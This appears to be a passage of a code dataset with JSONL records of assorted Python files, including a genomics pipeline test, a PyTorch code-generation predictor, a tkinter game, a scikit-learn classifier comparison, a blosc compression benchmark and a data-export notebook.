['{}/out{}'.format(tempdir, i) for i in range(4)]\n case = kevlar.tests.data_file('trio2/case1.fq.gz')\n controls = kevlar.tests.data_glob('trio2/ctrl[1,2].fq.gz')\n for i in range(4):\n arglist = [\n 'novel', '--case', case,\n '--control', controls[0], '--control', controls[1],\n '--band', str(i+1), '--num-bands', '4', '--out', novelouts[i],\n '--memory', '400K', '--ksize', '31',\n '--case-min', '8', '--ctrl-max', '1'\n ]\n args = kevlar.cli.parser().parse_args(arglist)\n kevlar.novel.main(args)\n\n arglist = [\n 'collect', '--memory', '10K', '--ksize', '31', '--minabund', '8',\n '--collapse'\n ] + novelouts\n args = kevlar.cli.parser().parse_args(arglist)\n args.out = stdout\n args.logfile = stderr\n kevlar.__main__.main(args)\n out, err = capsys.readouterr()\n\n assert '1 collapsed linear paths' in err\n lastline = out.strip().split('\\n')[-1]\n contig, contigrc = lastline.split(',')[0:2]\n assert 'AGCCTCTG' in contig or 'AGCCTCTG' in contigrc\n\n shutil.rmtree(tempdir)\n","sub_path":"kevlar/tests/test_pipe.py","file_name":"test_pipe.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"272726906","text":"import torch\nimport torch.nn as nn\nfrom typing import Tuple\n\nfrom nl2prog.nn.nl2code import ActionSequenceReader\nfrom nl2prog.nn import PointerNet\nfrom nl2prog.nn.embedding import EmbeddingInverse\nfrom nl2prog.nn.utils.rnn import PaddedSequenceWithMask\n\n\nclass Predictor(nn.Module):\n def __init__(self, reader: ActionSequenceReader, embedding_size: int,\n query_size: int, hidden_size: int, att_hidden_size: int):\n \"\"\"\n Constructor\n\n Parameters\n ----------\n reader:\n embedding_size: int\n Size of each embedding vector\n query_size: int\n Size of each query vector\n hidden_size: int\n Size of each hidden state\n att_hidden_size: int\n The number of features in the hidden state for attention\n \"\"\"\n super(Predictor, self).__init__()\n self.hidden_size = hidden_size\n self._reader = reader\n self._rule_embed_inv = \\\n EmbeddingInverse(self._reader._rule_embed.num_embeddings)\n self._token_embed_inv = \\\n EmbeddingInverse(self._reader._token_embed.num_embeddings)\n self._l_rule = nn.Linear(hidden_size, embedding_size)\n self._l_token = nn.Linear(hidden_size + query_size, embedding_size)\n self._l_generate = nn.Linear(hidden_size, 2)\n self._pointer_net = PointerNet(\n hidden_size + query_size, query_size, att_hidden_size)\n nn.init.xavier_uniform_(self._l_rule.weight)\n nn.init.zeros_(self._l_rule.bias)\n nn.init.xavier_uniform_(self._l_token.weight)\n nn.init.zeros_(self._l_token.bias)\n nn.init.xavier_uniform_(self._l_generate.weight)\n nn.init.zeros_(self._l_generate.bias)\n\n def forward(self, nl_feature: PaddedSequenceWithMask,\n feature: Tuple[PaddedSequenceWithMask,\n PaddedSequenceWithMask]) \\\n -> Tuple[PaddedSequenceWithMask, PaddedSequenceWithMask,\n PaddedSequenceWithMask]:\n \"\"\"\n Parameters\n ----------\n nl_feature: PaddedSequenceWithMask\n (L_nl, N, nl_feature_size) where L_nl is the sequence length,\n N is the batch size.\n feature:\n output: PaddedSequenceWithMask\n Packed sequence containing the output hidden states.\n contexts: PaddedSequenceWithMask\n Packed sequence containing the context vectors.\n\n Returns\n -------\n rule_prob: PaddedSequenceWithMask\n (L_ast, N, rule_size) where L_ast is the sequence length,\n N is the batch_size.\n token_prob: PaddedSequenceWithMask\n (L_ast, N, token_size) where L_ast is the sequence length,\n N is the batch_size.\n copy_prob: PaddedSequenceWithMask\n (L_ast, N, L_nl) where L_ast is the sequence length,\n N is the batch_size.\n \"\"\"\n L_q, B, _ = nl_feature.data.shape\n output, contexts = feature\n\n # Decode embeddings\n # (L_a, B, hidden_size + query_size)\n dc = torch.cat([output.data, contexts.data], dim=2)\n\n # Calculate probabilities\n # (L_a, B, embedding_size)\n rule_pred = torch.tanh(self._l_rule(output.data))\n rule_pred = self._rule_embed_inv(\n rule_pred,\n self._reader._rule_embed) # (L_a, B, num_rules + 1)\n rule_pred = torch.softmax(\n rule_pred[:, :, :-1], dim=2) # (L_a, B, num_rules)\n\n token_pred = torch.tanh(self._l_token(dc)) # (L_a, B, embedding_size)\n token_pred = self._token_embed_inv(\n token_pred,\n self._reader._token_embed) # (L_a, B, num_tokens + 1)\n token_pred = torch.softmax(\n token_pred[:, :, :-1], dim=2) # (L_a, B, num_tokens)\n\n copy_pred = self._pointer_net(dc, nl_feature) # (L_a, B, query_length)\n copy_pred = torch.exp(copy_pred)\n copy_pred = copy_pred * \\\n nl_feature.mask.permute(1, 0).view(1, B, L_q).to(copy_pred.dtype)\n\n generate_pred = torch.softmax(\n self._l_generate(output.data), dim=2) # (L_a, B, 2)\n token, copy = torch.split(generate_pred, 1, dim=2) # (L_a, B, 1)\n\n token_pred = token * token_pred # (L_a, B, num_tokens)\n copy_pred = copy * copy_pred # (L_a, B, query_length)\n\n return (PaddedSequenceWithMask(rule_pred, output.mask),\n PaddedSequenceWithMask(token_pred, output.mask),\n PaddedSequenceWithMask(copy_pred, output.mask))\n","sub_path":"nl2prog/nn/nl2code/predictor.py","file_name":"predictor.py","file_ext":"py","file_size_in_byte":4557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"228202611","text":"# traverser\r\n\r\nimport copy\r\n\r\n# Set up mock data\r\nbundle_segment_list = [('13:13', '4:4', '13:13-4:4', '4'), ('1:1', '9:9', '1:1-9:9', '6'), ('1:1', '6:6', '1:1-6:6', '6'), ('1:1', '2:2', '1:1-2:2', '5'),\r\n ('9:9', '10:10', '9:9-10:10', '5'), ('12:12', '4:4', '12:12-4:4', '5'), ('3:3', '4:4', '3:3-4:4', '3'), ('6:6', '7:7', '6:6-7:7', '4'), ('6:6', '8:8', '6:6-8:8', '3'), ('2:2', '3:3', '2:2-3:3', '7'), ('4:4', '5:5', '4:4-5:5', '4'), ('11:11', '2:2', '11:11-2:2', '2')]\r\n\r\n######### BEEP BOP STARTING TRAVERSING #########\r\n\r\n_wire_length = 19\r\n_start_bs = '1:1'\r\n_end_bs = '5:5'\r\n_traversed = set()\r\n_target_reached = False\r\n_called = 0\r\n\r\n\r\ndef traverse(params):\r\n global _called\r\n _called += 1\r\n traversed = params[3]\r\n # bs_trace = copy.deepcopy(params[2])\r\n bs_trace = params[2]\r\n for segment in bundle_segment_list:\r\n if(_target_reached):\r\n break\r\n if(segment[0] in traversed and segment[1] in traversed):\r\n continue\r\n if(params[0] == segment[0]):\r\n bs_next, bs_match = segment[1], segment[0]\r\n elif(params[0] == segment[1]):\r\n bs_next, bs_match = segment[0], segment[1]\r\n else:\r\n continue\r\n len_sum = params[1] + int(segment[3])\r\n if(len_sum > _wire_length):\r\n print('Length exceeded for: ' +\r\n segment[2] + ' len: ' + str(len_sum))\r\n continue\r\n traversed.add(bs_match)\r\n if bs_trace.count(bs_match) == 0:\r\n bs_trace.append(bs_match)\r\n if(has_reached_target(bs_next, len_sum, bs_trace)):\r\n break\r\n traverse((bs_next, len_sum, bs_trace, traversed))\r\n\r\n\r\ndef has_reached_target(bs: str, len_sum: int, bs_trace: list):\r\n global _target_reached\r\n if(bs == _end_bs and _wire_length == len_sum):\r\n _target_reached = True\r\n bs_trace.append(_end_bs)\r\n print('Goal reached: ' + bs)\r\n for i in bs_trace:\r\n print(i, end=', ')\r\n return _target_reached\r\n\r\n\r\ntraverse((_start_bs, 0, [], _traversed))\r\nprint('called: ' + str(_called))\r\n","sub_path":"traverser.py","file_name":"traverser.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"598602641","text":"import datetime\nfrom mongoengine import *\n\n\nclass Job(DynamicDocument):\n \"\"\"\n Data of a job offer, required field are the description_text, description_html\n and employer_name.\n \"\"\"\n job_title = StringField(required=False, max_length=100)\n employer_name = StringField(required=True, max_length=50)\n description_title = StringField(required=False, max_length=300)\n description_text = StringField(required=True)\n description_html = StringField(required=True)\n description_language = StringField(required=True, max_length=3)\n embedding = ListField(FloatField(), max_length=300)\n\n city = StringField(required=False, max_length=50)\n state = StringField(required=False, max_length=50)\n country = StringField(required=False, max_length=50)\n\n job_glassdoor_id = StringField(required=False, unique=True, sparse=True, max_length=50)\n employer_glassdoor_id = StringField(required=False, max_length=50)\n date_of_posting = DateTimeField(default=datetime.datetime.utcnow)\n date_last_modify = DateTimeField(default=datetime.datetime.utcnow)\n meta = {\n \"indexes\": [\n # #name stands for an hash index, $name stands for a text index, name stands for a normal btree index\n \"date_of_posting\"\n \"date_last_modify\",\n \"#description_text\",\n \"#description_title\",\n\n \"#title\",\n \"#city\",\n \"#state\",\n \"#country\",\n \"#employer_name\",\n \"#glassdoor_employer_id\",\n\n # every string but description_html form a text index\n\n # text index on name, hqs, industry\n {'fields': [\"$job_title\", \"$description_title\", \"$description_text\", \"$city\", \"$state\",\n \"$country\", \"$employer_name\"],\n 'default_language': 'english',\n 'weights': {\"job_title\": 4, \"description_title\": 2, \"description_text\": 1,\n \"city\": 5, \"state\": 5, \"country\": 5, \"employer_name\": 5\n }\n\n }\n ]\n }\n","sub_path":"django_project/modules/data_collections/data_collections/Job.py","file_name":"Job.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"72039864","text":"import tkinter as tk\nimport dataHandler as dh\nimport viewTemplate as vt\nimport viewHandler as vh\nimport intervals5 as itv5\nimport random\nimport sys\nimport re\nfrom timeit import default_timer as timer\n\n# Canvas & elements\n\ncanv = None\nborders = None\ncard = None\nhurtbox = None\nbackgroundRect = None\n\n# Initial metrics\n\nbackgroundOps = {\"fill\": \"#f4f4f4\", \"width\": 0, \"state\": \"normal\"}\n\ncardComponentType = vt.Component.ComponentType.POLYGON\ncardPset = [(150, 150), (-150, 150), (-150, -150), (150, -150)]\ncardOps = {\"fill\": \"#ffffff\", \"width\": 0, \"state\": \"normal\"}\n\nborderComponentType = vt.Component.ComponentType.POLYGON\nborderPset = [(260, 50), (160, -50), (-160, -50), (-260, 50)]\nborderCenter = (0, 230)\nborderOps = {\"fill\": \"#ffffff\", \"width\": 0, \"state\": \"normal\"}\n\nhurtboxComponentType = vt.Component.ComponentType.POLYGON\nhurtboxPset = [(300, 300), (-300, 300), (-300, -300), (300, -300)]\n# hurtboxPset = [(300, 300), (-300, 300), (-300, -300), (300, -300), (300, 300), (280, 280), (280, -280), (-280, -280), (-280, 280), (280, 280)]\nhurtboxOps = {\"fill\": \"#f4f4f4\", \"width\": 0, \"state\": \"normal\"}\n\narrowComponentType = vt.Component.ComponentType.POLYGON\narrowPset = [(0, 120), (100, 20), (80, 0), (14.1, 65.9), (14.1, -120), (-14.1, -120), (-14.1, 65.9), (-80, 0), (-100, 20), (0, 120)]\narrowOps = {\"fill\": \"#000\", \"width\": 0, \"state\": \"normal\"}\n\nhealthComponentType = vt.Component.ComponentType.POLYGON\nhealthPset = [(-8, -8), (8, -8), (8, 8), (-8, 8)]\nhealthOps = [{\"fill\": \"#fff\", \"width\": 0, \"state\": \"normal\"}, {\"state\": \"hidden\"}]\nhealthInitialCenter = (-140, -140)\nhealthSpacing = 20\n\n# Animation metrics\n\nanimation_on = 0\n\ncardFlyoutDestination = None\ncardFlyoutEndTime = -1\ncardFlyoutLasts = .1\ncardFlyoutPlaying = False\n\nhurtboxEndTime = -1\nhurtboxLasts = 1\nhurtboxPlaying = False\n\n# Colors\n\ncardColorChoices = [\"#f99\", \"#fb6\", \"#ff0\", \"#9e9\", \"#7fe\", \"#bcf\", \"#daf\"]\nborderColorChoices = [\"#f09090\", \"#f0b060\", \"#f0f000\", \"#90e090\", \"#70f0e0\", \"#b0c0f0\", \"#d0a0f0\"] # I made the color slightly dimmer (16/17 of original) here on purpose\narrowColorChoices = [\"black\", \"black\", \"black\", \"black\", \"black\", \"black\", \"black\"]\nhurtboxColors = [\"#f4f4f4\", \"#fcc\"]\n\n# Judgement\n\ncorrectDirection = None\nmaxHealth = 3 # TODO add health feature\nhealth = -1\n\n# Short for randint\n\n\ndef ri(l, r):\n return random.randint(l, r)\n\n# Color processing\n\ncolorExpMatcher = re.compile(\"^#([0-9a-f]{3}){1,2}$\")\n\n\ndef invhex(c):\n return c - 87 if c >= 97 else c - 48\n\n\ndef readColor(c):\n res = colorExpMatcher.match(c.lower())\n if not res:\n return (0, 0, 0)\n s = c[1:].lower().encode(\"UTF-8\")\n ret = (0, 0, 0)\n if len(s) == 3:\n ret = [invhex(i) * 17 for i in s]\n elif len(s) == 6:\n ret = [invhex(s[i * 2]) * 16 + invhex(s[i * 2 + 1]) for i in range(3)]\n return ret\n\n\ndef expressColor(c):\n return \"#{:>02s}{:>02s}{:>02s}\".format(hex(int(c[0]))[2:], hex(int(c[1]))[2:], hex(int(c[2]))[2:])\n\n\ndef mixclr(c1, c2, weight = .5):\n v1 = readColor(c1)\n v2 = readColor(c2)\n v = [v1[i] * weight + v2[i] * (1 - weight) for i in range(3)]\n return expressColor(v)\n\n# Coordinate processing\n\n\ndef mixcoord(c1, c2, weight = .5):\n return tuple([c1[i] * weight + c2[i] * (1 - weight) for i in range(len(c1))])\n\n# Style the parts\n\n\ndef styleCard():\n global card\n global canv\n global arrowPset, arrowOps, arrowComponentType\n global health, maxHealth, healthPset, healthOps, healthComponentType, healthInitialCenter, healthSpacing\n # Add arrow\n card.addComponent(\"__arrow\", vt.Component(canv, arrowComponentType, (0, 0), vt.BorderGroup.left90(arrowPset, ri(0, 3)), **arrowOps))\n # # TODO Add health display\n # healthDropCenter = list(healthInitialCenter)\n # for i in range(maxHealth):\n # card.addComponent(\"__health_{}\".format(i), vt.Component(canv, healthComponentType, tuple(healthDropCenter), healthPset, **healthOps[1 if i >= health else 0]))\n # healthDropCenter[0] += healthSpacing\n\n\ndef styleParts():\n global card, borders, hurtbox\n global correctDirection, cardColorChoices\n # Style\n styleCard()\n colorIdx = ri(0, len(cardColorChoices) - 1)\n colors = borderColorChoices.copy()\n ccolors = cardColorChoices.copy()\n card.components[\"__arrow\"].setOps(fill=cardColorChoices[colorIdx])\n range4 = list(range(4))\n random.shuffle(range4)\n bgClrIdx = range4[ri(1, 3)]\n correctDirection = (range4[0] + 1) & 3\n for i in range4:\n borders.borders[i].components[\"__border_background\"].setOps(fill=colors[colorIdx])\n if i == bgClrIdx:\n card.components[\"__background\"].setOps(fill=ccolors[colorIdx])\n del colors[colorIdx], ccolors[colorIdx]\n colorIdx = ri(0, len(colors) - 1)\n # Update\n card.updateDrawing()\n borders.updateDrawing()\n canv.update()\n pass # TODO\n\n\ndef processCtx(ctx):\n # Context (ctx) here refers to the direction of movement\n global canv, card, borders, hurtbox, backgroundRect\n global hurtboxLasts, hurtboxEndTime, hurtboxColors\n global cardFlyoutDestination, cardFlyoutEndTime, cardFlyoutLasts, cardFlyoutPlaying\n global health, maxHealth\n t = timer()\n print(\"{:>7s} {:>7s} \".format(\n ctx, [\"right\", \"down\", \"left\", \"up\"][correctDirection]), f\"time={timer()}\")\n cardFlyoutDestination = vt.BorderGroup.left90((1000, 0), [\"right\", \"down\", \"left\", \"up\"].index(ctx))\n cardFlyoutDestination = (cardFlyoutDestination[0] + (dh.consts[\"windowDm\"][0] / 2), cardFlyoutDestination[1] + (dh.consts[\"windowDm\"][1] / 2))\n cardFlyoutEndTime = t + cardFlyoutLasts\n print(cardFlyoutDestination, cardFlyoutEndTime)\n if [\"right\", \"down\", \"left\", \"up\"][correctDirection] != ctx:\n print(\"Updating health\")\n health -= 1\n print(\"Updating hurtbox variables.\")\n hurtboxEndTime = t + hurtboxLasts\n\n\ndef updateHurtbox():\n global hurtbox, hurtboxLasts, hurtboxEndTime, hurtboxColors, hurtboxPlaying\n t = timer()\n if hurtboxEndTime < t:\n if hurtboxPlaying:\n hurtbox.setOps(fill = hurtboxColors[0])\n hurtbox.updateDrawing()\n hurtboxPlaying = False\n elif hurtboxEndTime - t <= hurtboxLasts:\n hurtboxPlaying = True\n hurtbox.setOps(fill = mixclr(hurtboxColors[1], hurtboxColors[0], weight = (hurtboxEndTime - t) / hurtboxLasts))\n hurtbox.updateDrawing()\n return True\n\n\ndef updateCardFlyout():\n global card, cardFlyoutDestination, cardFlyoutEndTime, cardFlyoutLasts, cardFlyoutPlaying\n t = timer()\n if cardFlyoutEndTime < t:\n if cardFlyoutPlaying:\n card.setPos(cardFlyoutDestination)\n card.updateDrawing()\n cardFlyoutPlaying = False\n elif cardFlyoutEndTime - t <= cardFlyoutLasts:\n # print(\"Entered #2 at {}, end = {}\".format(timer(), cardFlyoutEndTime))\n cardFlyoutPlaying = True\n card.setPos(mixcoord((dh.consts[\"windowDm\"][0] / 2, dh.consts[\"windowDm\"][1] / 2), cardFlyoutDestination, (cardFlyoutEndTime - t) / cardFlyoutLasts))\n card.updateDrawing()\n return not cardFlyoutPlaying\n\n\ndef updateDrawing():\n closable = True\n closable = closable and updateHurtbox()\n closable = closable and updateCardFlyout()\n # TODO put more things here later\n return closable\n\n# Interface below is required by viewHandler\n\n# Setup environment\n\n\ndef setup():\n global canv\n global backgroundRect, card, borders, hurtbox\n global cardColorChoices\n global animation_on, health, maxHealth\n # Data setup\n if health == -1:\n health = maxHealth\n # View setup\n canv = vh.canvas\n backgroundRect = vt.Component.Rectangle(canv, (0, 0), [(0, 0), dh.consts[\"windowDm\"]], **backgroundOps)\n hurtbox = vt.Component.Polygon(canv, (dh.consts[\"windowDm\"][0] / 2, dh.consts[\"windowDm\"][1] / 2), hurtboxPset, **hurtboxOps.copy())\n borders = vt.BorderGroup(canv, borderCenter, borderPset, borderOps)\n card = vt.Card(canv)\n card.addComponent(\"__background\", vt.Component.Polygon(canv, (0, 0), cardPset, **cardOps))\n card.updateDrawing()\n # Game setup\n styleParts()\n animation_on = 1\n\n# Game loop portal\n\n\ndef gameloopPort():\n global animation_on\n if animation_on == 1:\n updateDrawing()\n elif animation_on == 2:\n closable = updateDrawing()\n if closable:\n animation_on = 0\n realClose()\n # Do whatever here\n\n# Resolve action (right, bottom, left, top)\n\n\ndef resolveAction(context):\n processCtx(context)\n\n# Close the current round of conversation\n\n\ndef realClose():\n global backgroundRect, card, borders, hurtbox\n del backgroundRect, card, borders, hurtbox\n vh.resolving_action = False\n dh.packs[vh.currentPackId].setup()\n print(\"realClose() called at {}\".format(timer()))\n\n\ndef close():\n # print(f\"Close called! {timer()}\")\n global animation_on\n animation_on = 2\n","sub_path":"packs/system/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"207833351","text":"from sklearn import tree,neighbors,svm,naive_bayes\nfrom sklearn.metrics import accuracy_score\n\n#Training Dataset\n#X contains values of heights, weights and shoe sizes\n#Y contains their labels\nX = [[181, 80, 44], [177, 70, 43], [160, 60, 38], [154, 54, 37], [166, 65, 40], [190, 90, 47], [175, 64, 39],\n [177, 70, 40], [159, 55, 37], [171, 75, 42], [181, 85, 43]]\nY = ['male', 'male', 'female', 'female', 'male', 'male', 'female', 'female', 'female', 'male', 'male']\n\n#Decision Tree\nclf_dtree = tree.DecisionTreeClassifier()\n#KNN\nclf_knn = neighbors.KNeighborsClassifier()\n#Naive-Bayes\nclf_nbayes = naive_bayes.GaussianNB()\n\n#Training\nclf_dtree = clf_dtree.fit(X,Y)\nclf_knn = clf_knn.fit(X,Y)\nclf_nbayes = clf_nbayes.fit(X,Y)\n\n#Testing Data\nX1 = [[181,80,44],[177,70,43],[160,60,38],[154,54,37],[166,65,40],[190,90,47],[175,64,39],[177,70,40]]\nY1 = ['male','female','female','female','male','male','male','female']\n\n#Prediction of testing data\nprediction1 = clf_dtree.predict(X1)\nprediction2 = clf_knn.predict(X1)\nprediction3 = clf_nbayes.predict(X1)\n\n#Comparing them\nacc1 = {'name' : 'KNN', 'accuracy':accuracy_score(Y1,prediction2)}\nacc2 = {'name' : 'NaiveBayes', 'accuracy':accuracy_score(Y1,prediction3)}\nacc3 = {'name' : 'DTree', 'accuracy':accuracy_score(Y1,prediction1)}\n\nprint (acc1['name'], \"has accuracy of \", acc1['accuracy'])\nprint (acc2['name'], \"has accuracy of \", acc1['accuracy'])\nprint (acc3['name'], \"has accuracy of \", acc1['accuracy'])","sub_path":"dtree.py","file_name":"dtree.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"66695288","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 12 15:34:02 2016\n\n@author: rmcleod\n\"\"\"\nimport blosc\nimport numpy as np\nimport time\nimport mrcz\nimport tempfile, os, os.path, glob\n\nprint( \"==== Generating simulated Poisson stacks ====\" )\nprint( \"Note: will write files to: %s. (they will not be deleted as they can be re-used!)\" % tempfile.gettempdir() )\n\n\nstackShape = [50,4096,4096]\ndoseLevelList = [ 0.01, 0.1, 0.25, 0.5, 1.0, 1.5, 2.0, 4.0 ]\ndoseFilenames = []\npoissonDataArray = np.zeros( [len(doseLevelList), stackShape[0],stackShape[1],stackShape[2]] )\nfor I, dose in enumerate(doseLevelList):\n poissonName = os.path.join(tempfile.gettempdir(), \"poisson%f.mrcz\" % dose )\n doseFilenames.append( poissonName )\n \n if not os.path.isfile( poissonName ):\n print( \"Generating Poisson random numbers and writing %s\" % poissonName )\n poissonDataArray[I,...] = np.random.poisson( lam=dose, size=stackShape ).astype('int8')\n mrcz.MRCExport( poissonDataArray[I,...], poissonName, compressor='zstd' )\n\n else:\n # Load from disk\n print( \"Loading from disk: %s\" % poissonName )\n poissonDataArray[I,...] = mrcz.MRCImport( poissonName )\n \n\nprint( \"==== Starting compression benchmark ====\" )\n\ndef doCompression( dataStack, \n compressor='zstd', blocksize=2**20, n_threads=16, \n shuffle=blosc.BITSHUFFLE, clevel=5 ):\n\n blosc.set_blocksize( blocksize )\n blosc.set_nthreads( n_threads )\n typeSize = dataStack.dtype.itemsize\n packedDataList = [None] * dataStack.shape[0]\n for J in np.arange(dataStack.shape[0]):\n packedDataList[J] = blosc.compress( dataStack[J,:,:], typesize=typeSize,\n clevel=clevel, shuffle=shuffle, cname=compressor )\n \n return packedDataList\n\ndef doDecompression( packedDataList, shape, n_threads ):\n blosc.set_nthreads( n_threads )\n dataList = [None] * len(packedDataList)\n for J in np.arange(len(packedDataList) ):\n# dataStack[J,:,:] = np.reshape( \n# np.frombuffer( blosc.decompress( packedDataList[J] ), dtype='uint8' ),\n# shape[1:] )\n # Something here Numpy-side is very slow, so let's not include that in our \n # benchmark.\n dataList[J] = blosc.decompress( packedDataList[J] )\n return dataList\n\n\n\n\n#t_half0 = time.time()\n#halfimage = dm4image_8bit[:,:,::2] + np.left_shift(dm4image_8bit[:,:,1::2],4)\n#t_half1 = time.time()\n#restoreimage = np.empty( header['dimensions'], dtype='uint8' )\n##image[0::2] = np.left_shift(interlaced_image,4)/16\n##image[1::2] = np.right_shift(interlaced_image,4)\n## Different interlace option\n## TODO: AND array with 15 instead?\n#restoreimage[:,:,::2] = (np.left_shift( halfimage, 4 ) & 15 )\n#restoreimage[:,:,1::2] = np.right_shift( halfimage, 4 )\n#t_half2 = time.time()\n#\n#print( \"4-byte encoding time (s): %f\" % (t_half1 - t_half0) )\n#print( \"4-byte DEcoding time (s): %f\" % (t_half2 - t_half1) )\n\noriginalBytes = 50*4096*4096*4 # Guess of size if we saved as float-32\n\n\n# Something is wrong with lz4hc, it's really not competitive\n# All codecs slow down if you use bloscLZ for some reason. blocksize adjustment?\n\n# Because our data is bit-limited by shot noise generally we will always \n# want to use the BITSHUFFLE filter when working with a counting electron detector\n# Probably BITSHUFFLE is not so great for floating-point data, however.\nSHUFFLE = blosc.BITSHUFFLE\nnThreadsList = np.arange( 12, 48+1, 6 )\ncompressorList = np.array( ['lz4', 'zlib', 'zstd' ] )\nclevelList = np.arange(1,7+1)\n\ntestRuns = 1\nblockSizeList = np.array( [2**15, 2**16, 2**17, 2**18, 2**19, 2**20, 2**21, 2**22], dtype='int64' )\n\noptiShape = [len(doseLevelList), len(compressorList), len(clevelList), \n len(nThreadsList), len(blockSizeList), testRuns]\ncCompress = np.zeros( optiShape )\ncBytes = np.zeros( optiShape )\ncRatio = np.zeros( optiShape )\ncDecompress = np.zeros( optiShape )\n\n\n\nfor I, doseLevel in enumerate( doseLevelList ):\n for J, compressor in enumerate(compressorList):\n for K, clevel in enumerate( clevelList ):\n for N, N_THREADS in enumerate( nThreadsList ):\n for B, blocksize in enumerate( blockSizeList ):\n \n print( \"Testing compressor %s level %d with %d threads and blocksize %d at dose level %f counts/pix\" % \n (compressor, clevel, N_THREADS, blocksize, doseLevel) )\n \n for L in np.arange(testRuns):\n \n t0 = time.time()\n packedData = doCompression( poissonDataArray[I, ...], \n compressor=compressor,\n n_threads=N_THREADS, \n shuffle=SHUFFLE, \n clevel=clevel,\n blocksize=blocksize )\n t1 = time.time()\n cCompress[I,J,K,N,B,L] = t1 - t0\n for index in np.arange( len(packedData) ):\n cBytes[I,J,K,N,B,L] += len( packedData[index] )\n cRatio[I,J,K,N,B,L] = 100.0 * originalBytes / cBytes[I,J,K,N,B,L]\n \n t2 = time.time()\n # Will this work on all frames? No....\n result = doDecompression( packedData, len(packedData), N_THREADS )\n t3 = time.time()\n cDecompress[I,J,K,N,B,L] = t3 - t2\n\nnp.save( \"cCompress.npy\", cCompress )\nnp.save( \"cBytes.npy\", cBytes )\nnp.save( \"cRatio.npy\", cRatio )\nnp.save( \"cDecompress.npy\", cDecompress )\n\n#print( \"4-byte encoding time (s): %f\" % (t_half1 - t_half0) )\n#print( \"4-byte DEncoding time (s): %f\" % (t_half2 - t_half1) )\nprint( \"==== Compressor ====\" )\nprint( compressorList )\nprint( \"==== Compression Time (s) ====\" )\nprint( cCompress )\nprint( \"==== DEcompression Time (s) ====\" )\nprint( cDecompress )\nprint( \"==== Compressed Size (MB) ====\" )\nprint( cBytes / 2**20 )\nprint( \"==== Compression Ratio (%) ====\" )\nprint( cRatio )\n\nprint( \"TODO: test decompression times\" )\nprint( \"TODO: test read/write times\" )\n\n#print( \"Compression time: %f s\" %(t1-t0) )\n#print( \"Original DM4 size: %d MB\" % (originalBytes /(2**20)) )\n#uncompressedBytes = np.product( dm4image.shape )\n#print( \"UNcompressed size: %d MB\" % (uncompressedBytes/(2**20)) )\n#print( \"Compressed size: %d MB\" % (header['compressedBytes']/(2**20)) )\n#print( \"Effective compression ratio: %d %% \" % (100.0 * originalBytes/header['compressedBytes']) )\n","sub_path":"bench/compressionBenchmark.py","file_name":"compressionBenchmark.py","file_ext":"py","file_size_in_byte":6732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"439690998","text":"# ---\n# jupyter:\n# jupytext:\n# cell_metadata_filter: all,-execution,-papermill,-trusted\n# formats: ipynb,py//py:percent\n# text_representation:\n# extension: .py\n# format_name: percent\n# format_version: '1.3'\n# jupytext_version: 1.7.1\n# kernelspec:\n# display_name: Python 3\n# language: python\n# name: python3\n# ---\n\n# %% [markdown] tags=[]\n# # Description\n\n# %% [markdown] tags=[]\n# This notebook generates more end-user-friendly Excel files of some of the data generated in PhenoPLIER, such as the LV-gene matrix and LV-pathways.\n\n# %% [markdown] tags=[]\n# # Modules loading\n\n# %% tags=[]\nimport pandas as pd\nimport openpyxl\nfrom openpyxl.utils import get_column_letter\n\nimport conf\nfrom utils import get_git_repository_path\n\n# %% [markdown] tags=[]\n# # Settings\n\n# %% tags=[]\nDELIVERABLES_BASE_DIR = get_git_repository_path() / \"data\"\ndisplay(DELIVERABLES_BASE_DIR)\n\n# %% tags=[]\nOUTPUT_DIR = DELIVERABLES_BASE_DIR / \"multiplier\"\nOUTPUT_DIR.mkdir(parents=True, exist_ok=True)\ndisplay(OUTPUT_DIR)\n\n# %% [markdown] tags=[]\n# # Load data\n\n# %% [markdown] tags=[]\n# ## MultiPLIER summary\n\n# %% tags=[]\nmultiplier_model_summary = pd.read_pickle(conf.MULTIPLIER[\"MODEL_SUMMARY_FILE\"])\n\n# %% tags=[]\nmultiplier_model_summary.shape\n\n# %% tags=[]\nmultiplier_model_summary.head()\n\n# %% [markdown] tags=[]\n# ## Get pathway-aligned LVs\n\n# %% tags=[]\nwell_aligned_lvs = multiplier_model_summary[multiplier_model_summary[\"FDR\"] < 0.05]\n\ndisplay(well_aligned_lvs.shape)\ndisplay(well_aligned_lvs.head())\n\n# %% tags=[]\nwell_aligned_lv_codes = set([f\"LV{lvi}\" for lvi in well_aligned_lvs[\"LV index\"]])\n\n# %% tags=[]\nlen(well_aligned_lv_codes)\n\n# %% tags=[]\nlist(well_aligned_lv_codes)[:5]\n\n# %% [markdown] tags=[]\n# ## MultiPLIER Z (gene loadings)\n\n# %% tags=[]\nmultiplier_z = pd.read_pickle(conf.MULTIPLIER[\"MODEL_Z_MATRIX_FILE\"])\n\n# %% tags=[]\nmultiplier_z.shape\n\n# %% tags=[]\nmultiplier_z.head()\n\n# %% [markdown] tags=[]\n# # Create LV-pathway dataframe\n\n# %% tags=[]\nlv_pathway_df = multiplier_model_summary[\n [\"LV index\", \"pathway\", \"AUC\", \"p-value\", \"FDR\"]\n]\n\n# %% tags=[]\nlv_pathway_df[\"LV index\"] = lv_pathway_df[\"LV index\"].astype(int)\n\n# %% tags=[]\nlv_pathway_df = lv_pathway_df.sort_values([\"LV index\", \"FDR\"])\n\n# %% tags=[]\nlv_pathway_df[\"LV index\"] = lv_pathway_df[\"LV index\"].apply(lambda x: f\"LV{x}\")\n\n# %% tags=[]\nlv_pathway_df.shape\n\n# %% tags=[]\nlv_pathway_df = 